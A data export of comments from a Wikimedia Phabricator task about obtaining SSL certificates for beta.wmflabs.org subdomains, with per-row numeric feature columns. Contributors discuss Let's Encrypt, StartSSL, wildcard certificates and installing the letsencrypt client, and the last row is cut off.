",,,1470107265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,3.5121951219512195,0.9024390243902439,"Change 247587 had a related patch set uploaded (by Alex Monk):
beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text

[[GERRIT_URL]]
"
704053,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470123240,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,161,,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.379310344827586,0.896551724137931,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.
704022,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470107154,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,161,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.392857142857143,0.8928571428571429,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.
672898,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Its puppetized now, should not be hard anymore. We already use it in prod.",,,1464824261,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,152,,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.9411764705882353,"Its puppetized now, should not be hard anymore. We already use it in prod."
646697,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It may or may not be a strict blocker but we should probably wait for {T132812},,,1460745558,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,It may or may not be a strict blocker but we should probably wait for {T132812}
646664,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210861, @csteipp wrote:
> Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
> 
> I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.

That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)",,,1460741823,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,4.0,16.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,7.0,9.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.618181818181818,0.8545454545454545,"QUOTE
QUOTE
QUOTE
QUOTE

That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)"
646659,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210736, @Krenair wrote:
>>>! In T97593#2115226, @Krenair wrote:
>> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.

I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.",,,1460741344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,4.5,0.0,3.5,11.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.5,0.0,4.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.0,0.0,0.0,1.0,0.5,0.0,10.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,1.5,0.5,0.0,4.5,0.0,6.5,3.5,2.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,7.0,11.5,4.0,0.0,0.0,0.0,7.0,0.0,2.5,1.5,0.5,1.5,1.0,0.0,0.0,3.850282485875706,0.7734463276836159,"QUOTE
QUOTE
QUOTE

Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.

I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible."
646648,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

>>! In T97593#2116454, @Krenair wrote:
> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)

>>! In T97593#2210712, @Krenair wrote:
> ops have started using it in production for (ubuntu|apt|mirrors).wikimedia.org and it might be puppetised soon. (see T132450)",,,1460740489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,53.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.2,"QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE"
646634,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

>>! In T97593#2116454, @Krenair wrote:
> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)",,,1460738908,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,55.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.2727272727272727,"QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE"
628753,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835537,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,140,,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,11.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,3.477272727272727,0.7727272727272727,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this."
628752,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835416,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,140,,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,12.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,12.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,3.5,0.7619047619047619,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this."
595884,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1951388, @faidon wrote:
> Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?

Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies).",,,1453575790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,12.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,4.9393939393939394,0.9393939393939394,"QUOTE
QUOTE

Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies)."
594127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#527689, @Krinkle wrote:
> Would it be an option to flatten our subdomains?
> 
> We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
> 
> (at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
> 
> For example:
> 
> * beta.wmflabs.org
> * bits.beta.wmflabs.org
> * wikimedia.beta.wmflabs.org
> * commons-wikimedia.beta.wmflabs.org
> * wikipedia.beta.wmflabs.org
> * en-wikipedia.beta.wmflabs.org
> * nl-wikibooks.beta.wmflabs.org
> * en-m-wikibooks.beta.wmflabs.org
> * en-m-wikinews.beta.wmflabs.org

I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?",,,1453369421,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,133,,1.0,1.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,29.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,24.0,1.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.625,0.4444444444444444,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?"
572897,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though.",,,1449227020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,126,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,9.0,14.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though."
572840,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.

[1] https://letsencrypt.org/2015/12/03/entering-public-beta.html
[2] User Guide for getting certs using Let's Encrypt client: https://letsencrypt.readthedocs.org/en/latest/",,,1449209519,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,126,,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,8.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,5.0,3.4615384615384617,0.7948717948717948,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.

[1] URL
[2] User Guide for getting certs using Let's Encrypt client: URL"
548850,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1669896, @Chmarkine wrote:
> [[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
> 
> (*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.

Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.

[1] https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",,,1445334021,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,120,,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6470588235294117,0.8235294117647058,"QUOTE
QUOTE
QUOTE
QUOTE

Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.

[1] URL"
534286,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 

Yes. But StartCom charges $24.9 for each certificate revocation.

https://www.startssl.com/?app=43",,,1443105776,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.8333333333333334,"QUOTE
QUOTE

Yes. But StartCom charges $24.9 for each certificate revocation.

URL"
534284,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 

Yes. But StartCom charges $25 for each certificate revocation.",,,1443105592,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.875,"QUOTE
QUOTE

Yes. But StartCom charges $25 for each certificate revocation."
534221,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. ",,,1443100193,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.96,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. "
534188,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?",,,1443097851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,116,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,9.0,14.0,9.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.454545454545454,0.9090909090909091,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?"
534055,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"[[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 

